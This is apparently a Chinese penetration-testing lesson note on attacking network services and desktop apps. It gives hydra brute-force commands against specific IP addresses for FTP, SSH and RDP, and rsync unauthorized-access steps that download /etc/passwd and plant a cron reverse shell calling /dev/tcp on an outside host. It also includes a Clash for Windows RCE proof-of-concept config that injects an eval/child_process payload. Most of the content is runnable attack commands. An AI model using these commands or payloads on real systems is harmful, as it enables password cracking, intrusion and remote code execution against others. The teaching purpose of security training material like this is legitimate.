端口协议&桌面应用&QQ&WPS等RCE&hydra口令猜解&未授权检测
#端口协议-口令爆破&未授权
参考:https://mp.weixin.qq.com/s/xp_LOUmGImrRmkPrDqxKjw
-弱口令爆破
https://github.com/vanhauser-thc/thc-hydra
hydra是一个自动化的爆破工具,暴力破解弱密码,
是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
例子:
FTP:文件传输协议
RDP:Windows远程桌面协议
SSH:Linux安全外壳协议
hydra -L test -P 10top1K.txt 47.110.53.159 ftp -V
hydra -l root -P 10top1K.txt 47.110.53.159 ssh -V
hydra -l administrator -P 10top1K.txt 47.110.53.159 rdp -V
-未授权案例:
https://github.com/xk11z/unauthorized
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
判断:rsync rsync://120.27.220.186:57830/
利用:
-读取文件:rsync rsync://120.27.220.186:57830/src/
-下载文件:rsync rsync://120.27.220.186:57830/src/etc/passwd ./
-上传文件:rsync -av passwd rsync://120.27.220.186:57830/src/tmp/passwd
反弹shell:
1、获取信息:
rsync rsync://120.27.220.186:57830/src/etc/crontab /root/cron.txt
2.创建文件
touch shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
chmod +x shell
3、上传文件
rsync -av shell rsync://120.27.220.186:57830/src/etc/cron.hourly
4、等待接受反弹
#桌面应用-QQ&WPS&Clash
-QQ RCE 漏洞复现
见打包文档利用说明
-WPS RCE 漏洞复现
第80天复现讲过
-Clash RCE 漏洞复现
Windows:Clash.for.Windows 版别 <= v 0.19.8
Mac:Clash.for.Windows.app版别 <= v0.19.81
1、本地创立一个.yaml的文件
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
2、Profiles挑选导入.yaml
3、切换节点之后成功调用代码执行